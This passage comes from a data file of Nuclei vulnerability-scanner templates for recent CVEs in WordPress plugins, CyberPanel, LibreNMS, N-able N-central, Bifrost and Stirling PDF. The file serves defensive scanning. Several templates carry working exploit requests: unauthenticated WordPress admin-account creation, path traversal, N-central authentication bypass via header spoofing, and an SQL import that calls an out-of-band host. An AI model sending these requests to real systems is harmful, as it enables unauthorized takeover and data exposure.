/?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n      - |\n        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n    stop-at-first-match: true\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"<div id=\\\"footer\\\" role=\\\"contentinfo\\\">\", \"having the \\\"powered by\\\" link somewhere on your blog\") || contains_all(body, \"opml version\", \"generator=\\\"WordPress\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100b87913e6e465bdc3c1268f428f71adbd4d927c28bb397aaa604164271277b914022100cdf390ef2c81a6d8bec1954f3c6ffa91166221d98526380b4ea90aa6476e5d31:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-87902.yaml","vuln_id":"cve-2026-87902"},{"raw":"id: CVE-2026-87820\n\ninfo:\n  name: CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.\n  impact: |\n    Unauthenticated attackers can enumerate panel administrators, API key prefixes,hosted domains, and scan metadata CyberPanel instances.\n  remediation: |\n    Upgrade CyberPanel to 2.4.6\n  reference:\n    - https://github.com/usmannasir/cyberpanel/security/advisories/GHSA-qmwq-9cc8-x6h2\n    - https://github.com/usmannasir/cyberpanel/commit/20484fd\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-87820\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cwe-id: CWE-489\n    cve-id: CVE-2026-87820\n    epss-score: 0.00874\n    epss-percentile: 0.59054\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cyberpanel\n    product: cyberpanel\n    shodan-query: http.title:\"Login - CyberPanel\"\n    fofa-query: title=\"Login - CyberPanel\"\n  tags: cve,cve2026,cyberpanel,debug,disclosure,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"cyberpanel\", \"usmannasir/cyberpanel\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/ai-scanner/list-api-keys HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"api_key_prefix\", \"admin\", \"recent_scans\")'\n        condition: and\n# digest: 4b0a00483046022100dc94210652e7466fce282b7c4ea15c50b127734ca546978835a5812d243be427022100a50ee5761128dbfc40226c9ad35b72c261c50a4a10199635d8557552fc7df385:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-87820.yaml","vuln_id":"cve-2026-87820"},{"raw":"id: CVE-2026-8732\n\ninfo:\n  name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.\n  impact: |\n    Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.\n  remediation: |\n    Update to the latest version beyond 6.1.0.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8732\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/\n    - https://github.com/xShadow-Here/CVE-2026-8732\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-8732\n    cwe-id: CWE-862\n    epss-score: 0.20388\n    epss-percentile: 0.97497\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: flippercode\n    product: wp-google-map-gold\n    fofa-query: body=\"/wp-content/plugins/wp-maps-pro/\"\n    publicwww-query: \"/wp-content/plugins/wp-maps-pro/\"\n    shodan-query: http.html:\"/wp-content/plugins/wp-maps-pro/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  username: \"{{rand_base(8)}}\"\n  email: \"{{rand_base(6)}}@{{rand_base(4)}}.com\"\n  password: \"{{rand_base(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wpgmp_local\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - '\"wpgmp_local\"[^;]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n          - 'wpgmp_local\\s*=\\s*\\{[^}]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'wpgmp_access='\n          - '\"wpgmp_access\":'\n          - 'login_url'\n          - 'user_id'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022016b782fd7003dc860304e12cd5c475757dcd68b55f62046493274a61e6c0bdf7022100c14b8a079377c0723f3d2711fe77dbff7d337419255cb3282f4716a027979c4b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8732.yaml","vuln_id":"cve-2026-8732"},{"raw":"id: CVE-2026-8713\n\ninfo:\n  name: Avada (Fusion) Builder <= 3.15.3 - Unauthenticated Arbitrary File Deletion\n  author: rool-machine\n  severity: critical\n  description: |\n    The Avada (Fusion) Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the maybe_delete_files function. An unauthenticated attacker can delete arbitrary files on the server by manipulating the file_path parameter in the fusion_form_maybe_delete_files AJAX action. Deleting critical files like wp-config.php can lead to complete site takeover via reinstallation. This template detects the vulnerable version via homepage asset URL versioning (primary) and readme.txt Stable tag (fallback).\n  impact: |\n    An unauthenticated attacker can delete any file readable by the web server process, potentially leading to complete site compromise through wp-config.php deletion and WordPress reinstallation.\n  remediation:\n    Upgrade the Avada Builder (Fusion Builder) plugin to version 3.15.4 or later.\n  reference:\n    - https://www.wordfence.com/blog/2026/06/critical-unauthenticated-arbitrary-file-deletion-vulnerability-patched-in-avada-builder-wordpress-plugin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8713\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2026-8713\n    epss-score: 0.03007\n    epss-percentile: 0.87435\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.component:\"WordPress\" http.component:\"Avada\"\n    fofa-query: body=\"fusion-builder\" && body=\"WordPress\"\n    product: fusion-builder\n    vendor: theme-fusion\n    framework: wordpress\n  tags: cve,cve2026,wordpress,wp-plugin,avada,fusion-builder,file-deletion,passive,vkev\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"fusion-builder\"\n\n      - type: dsl\n        dsl:\n          - compare_versions(version, '<= 3.15.3')\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - \"fusion-builder/assets/css/media/fullwidth[^\\\"']*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n          - \"id=['\\\"]fb-[^'\\\"]+['\\\"]\\\\s+href=['\\\"][^'\\\"]*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)['\\\"]\"\n        internal: true\n\n      - type: regex\n        name: detected_version\n        part: body\n        group: 1\n        regex:\n          - \"fusion-builder/assets/css/media/fullwidth[^\\\"']*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n          - \"id=['\\\"]fb-[^'\\\"]+['\\\"]\\\\s+href=['\\\"][^'\\\"]*\\\\?ver=([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)['\\\"]\"\n# digest: 4b0a0048304602210082270cf27e999b840290db54ac8758fc125378826f2ab203aeb48a383e2db312022100cfaf4ffccbd9dfe26b71db3a703d0b647266fd68861dcf6db121be8a3a9296e9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-8713.yaml","vuln_id":"cve-2026-8713"},{"raw":"id: CVE-2026-8679\n\ninfo:\n  name: WordPress AudioIgniter <= 2.0.2 - Unauthenticated IDOR\n  author: 0x_Akoko\n  severity: high\n  description: |\n    The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive playlist metadata including private and draft content, leading to information disclosure.\n  remediation: |\n    Update to the latest version of AudioIgniter plugin.\n  reference:\n    - https://plugins.trac.wordpress.org/browser/audioigniter/trunk/audioigniter.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8679\n    - https://wordpress.org/plugins/audioigniter/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-8679\n    epss-score: 0.01566\n    epss-percentile: 0.75382\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: body=\"audioigniter_playlist_id\"\n  tags: cve,cve2026,wordpress,wp-plugin,audioigniter,idor,exposure,wp\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"audioigniter_playlist_id\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: playlist_id\n        part: body\n        regex:\n          - 'audioigniter_playlist_id=(\\d+)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        GET /?audioigniter_playlist_id={{playlist_id}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"title\\\"\", \"\\\"audio\\\"\", \"\\\"subtitle\\\"\")'\n        condition: and\n# digest: 4a0a00473045022100f815ac1909015f4c43ac990161a380c557e2aba7d553538477713a450e758350022063ffb9171ad79fb20fbdb62f940305d7bb585c5f2f373b40e57ccc88da84ae74:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-8679.yaml","vuln_id":"cve-2026-8679"},{"raw":"id: CVE-2026-86426\n\ninfo:\n  name: LibreNMS <= 26.7.0 - Unauthenticated API Access\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.\n  impact: |\n    Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.\n  remediation: |\n    Update to version 26.8.0 or later.\n  reference:\n    - https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg\n  classification:\n    cvss-score: 9.2\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 11\n    vendor: librenms\n    product: librenms\n    shodan-query: http.title:\"LibreNMS\"\n    fofa-query: title=\"LibreNMS\"\n  tags: librenms,auth-bypass,type-confusion,api,unauth,vkev\n\nflow: |\n  if (http(1)) {\n    var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];\n    for (var i = 0; i < guesses.length; i++) {\n      set(\"guess\", JSON.stringify(guesses[i]));\n      if (http(2)) break;\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"librenms\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v0/devices HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"api_token\":{{guess}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"status\\\"\", \"\\\"ok\\\"\", \"\\\"devices\\\"\")'\n        condition: and\n# digest: 4a0a00473045022100aaf48a7928475220770b0383a3f505b463d65a77b135f3f87d66a3def2679a7802206ae285a24252e603e708b406156b70a04a3fb6374568554084d7a5ecae9a680e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86426.yaml","vuln_id":"cve-2026-86426"},{"raw":"id: CVE-2026-86242\n\ninfo:\n  name: Bifrost < 1.6.3 - Unauthenticated Remote Plugin URL Fetch\n  author: alex700\n  severity: high\n  description: |\n    When dashboard authentication is disabled, Bifrost accepts an enabled custom plugin with an HTTP URL as its path. The gateway fetches the URL before attempting to load it. This template confirms the unauthenticated server-side request with an out-of-band callback; it does not assert code execution on statically linked builds.\n  impact: |\n    An unauthenticated network caller can cause the gateway to make outbound HTTP requests. Dynamically linked builds that can load a compatible Go plugin may permit code execution.\n  remediation: |\n    Upgrade Bifrost to a release that requires genuine admin authentication for custom plugin paths, such as transports v2.1.0 or later, and enable dashboard authentication.\n  reference:\n    - https://github.com/maximhq/bifrost/security/advisories/GHSA-2qp8-4xgm-fw6g\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-86242\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-86242\n    epss-score: 0.03575\n    epss-percentile: 0.89423\n    cwe-id: CWE-94\n  metadata:\n    max-request: 1\n    vendor: maximhq\n    product: bifrost\n  tags: cve,cve2026,bifrost,ssrf,oast,intrusive\n\nvariables:\n  plugin_name: \"nuclei_{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/plugins HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{plugin_name}}\",\"enabled\":true,\"path\":\"http://{{interactsh-url}}/{{randstr}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(body, \"Plugin created in database but failed to load\")'\n          - 'contains(interactsh_protocol, \"http\")'\n        condition: and\n# digest: 4a0a00473045022100b10a09b776e67a67fca12d5ffb79e2a3ba495836209e491baddd368754078d7b0220639cf5cb019572ace8725692ed9e175229db23ba9cf2cae2d4e59e8706870755:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-86242.yaml","vuln_id":"cve-2026-86242"},{"raw":"id: CVE-2026-86218\n\ninfo:\n  name: N-able N-central <2026.3.1.14 - Pre-Authentication Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    N-able N-central versions before 2026.3.1.14 are vulnerable to pre-authentication remote code execution via static code injection (CWE-96). An unauthenticated attacker with network access to the N-central management interface can execute arbitrary code on the server, potentially compromising every managed endpoint under the platform's control. Huntress confirmed active in-the-wild exploitation. N-able's hosted (NCOD) instances were automatically patched, on-premises deployments require manual upgrade to 2026.3.1.14. The N-central build version is exposed pre-authentication in the login page JavaScript object (ncentralVersion), enabling reliable version-based detection.\n  impact: |\n    A successful exploit grants an unauthenticated attacker remote code execution on the N-central server with the service account's privileges, enabling full control of the N-central RMM platform and all managed endpoints, lateral movement to all customer networks managed by the MSP, credential harvesting from N-central's credential vault, and deployment of ransomware or backdoors across all managed infrastructure.\n  remediation: |\n    Upgrade N-central immediately to version 2026.3.1.14 (Hotfix 4) or later. Direct upgrade paths exist from builds 2025.4, 2026.1, 2026.2, 2026.3, and all 2026.3.1 hotfixes. Additionally restrict inbound access to N-central with IP allowlisting or VPN, audit N-central user accounts for unauthorized accounts (especially .invalid emails), and review appliance logs for evidence of pre-exploitation reconnaissance.\n  reference:\n    - https://me.n-able.com/s/security-advisory/aArVy00\n    - https://www.huntress.com/blog/n-able-vulnerability-exploitation\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-86218\n    - https://www.bleepingcomputer.com/news/security/n-able-patches-max-severity-n-central-flaw-amid-ongoing-attacks/\n    - https://forkast.news/n-able-n-central-cvss-10-0-pre-auth-rce-marks-third-attack-wave-in-six-weeks/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86218\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-86218\n    epss-score: 0.15385\n    epss-percentile: 0.96795\n    cwe-id: CWE-96\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: n-able\n    product: n-central\n    shodan-query: title:\"N-central\"\n    fofa-query: title=\"N-central Login Redirect\"\n  tags: cve,cve2026,n-able,n-central,rce,unauth,static-code-injection,kev,vkev,passive\n\nhttp:\n  - raw:\n      - |\n        GET /login HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"ncentralVersion:\")'\n          - 'contains(body, \"N-able N-central\")'\n        condition: and\n\n      - type: dsl\n        dsl:\n          - 'compare_versions(nc_version, \"< 2026.3.1.14\")'\n\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n\n    extractors:\n      - type: regex\n        name: nc_version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'ncentralVersion:\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\"'\n\n      - type: regex\n        name: detected_version\n        part: body\n        group: 1\n        regex:\n          - 'ncentralVersion:\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\"'\n# digest: 490a0046304402201ac04ed76db04b469167de704a0599d793dd88211ba07780e8ad33e36b74165d02203bb5de12b21dc2b12f35d6ad28aec17695eee68059af11024659a07000b29cbf:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86218.yaml","vuln_id":"cve-2026-86218"},{"raw":"id: CVE-2026-86207\n\ninfo:\n  name: N-able N-central - Authentication Bypass\n  author: rapid7,DhiyaneshDk\n  severity: critical\n  description: |\n    An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.\n  impact: |\n    Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.\n  remediation: |\n    Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.\n    Hosted N-central environments have already been patched by the vendor.\n  reference:\n    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/\n    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-86207\n    epss-score: 0.01254\n    epss-percentile: 0.69551\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: n-able\n    product: n-central\n    shodan-query: title:\"N-central\"\n    fofa-query: title=\"N-central\"\n  tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:sessionHello>\n              <ei:in0>3</ei:in0>\n            </ei:sessionHello>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'SessionID')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_id\n        part: body\n        group: 1\n        regex:\n          - '<SessionID[^>]*>([0-9]+)</SessionID>'\n        internal: true\n\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:userTwoFactorLogin>\n              <ei:sessionID>{{session_id}}</ei:sessionID>\n              <ei:userID>1</ei:userID>\n              <ei:password>dummy</ei:password>\n            </ei:userTwoFactorLogin>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:customerList>\n              <ei:in0>{{session_id}}</ei:in0>\n              <ei:in1>1</ei:in1>\n              <ei:in2>true</ei:in2>\n              <ei:in3>false</ei:in3>\n            </ei:customerList>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n# digest: 4a0a00473045022100d7cfadfd8d7b05482d1bf26717e6d26988add2f436939e992092bf2f4a8e338e022063c6520efca1f54426682e0d49e24ece773044d6db1f7e78bfe19278374aea4e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86207.yaml","vuln_id":"cve-2026-86207"},{"raw":"id: CVE-2026-86206\n\ninfo:\n  name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing\n  author: rapid7,DhiyaneshDk\n  severity: critical\n  description: |\n    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4\n  impact: |\n    Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.\n  remediation: Update to version 2026.3 HF3 or 2026.4.\n  reference:\n    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/\n    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-86206\n    epss-score: 0.01118\n    epss-percentile: 0.66216\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: n-able\n    product: n-central\n    shodan-query: title:\"N-central\"\n    fofa-query: title=\"N-central\"\n  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:sessionHello>\n              <ei:in0>3</ei:in0>\n            </ei:sessionHello>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'SessionID')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"contains(body, 'ServerDMS')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n# digest: 4b0a00483046022100beb6aaafebaa138cc53d71d82baa9882896af17c79cd6df0675483c1d63855d80221008dcaf1234f041f3cfc4f96b6ab4be8bedfd647600f96154a832bfe5d04ab108a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-86206.yaml","vuln_id":"cve-2026-86206"},{"raw":"id: CVE-2026-85714\n\ninfo:\n  name: Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution\n  author: Securin,AlanNewberry\n  severity: critical\n  description: |\n    Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode.\n  impact: |\n    Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise.\n  remediation: |\n    Update to version 2.13.2 or later.\n  reference:\n    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m\n    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85714\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2026-85714\n    epss-score: 0.03406\n    epss-percentile: 0.88903\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: stirling-tools\n    product: stirling-pdf\n    shodan-query: http.title:\"Stirling PDF\"\n    fofa-query: title=\"Stirling PDF\"\n  tags: cve,cve2026,stirling-pdf,h2,rce,authenticated,default-login,oast,intrusive\n\nvariables:\n  table: \"{{to_lower(rand_text_alpha(10))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n      - |\n        POST /api/v1/database/import-database HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: multipart/form-data; boundary=----NucleiStirlingBoundary\n\n        ------NucleiStirlingBoundary\n        Content-Disposition: form-data; name=\"fileInput\"; filename=\"backup.sql\"\n        Content-Type: application/sql\n\n        CREATE TABLE IF NOT EXISTS n_{{table}}(c CLOB);\n        INSERT INTO n_{{table}} VALUES(FILE_READ('http://{{interactsh-url}}/{{table}}', NULL));\n        INSERT INTO x_{{table}} VALUES(NULL);\n        ------NucleiStirlingBoundary--\n\n    extractors:\n      - type: json\n        name: token\n        part: body_1\n        internal: true\n        json:\n          - '.session.access_token'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n   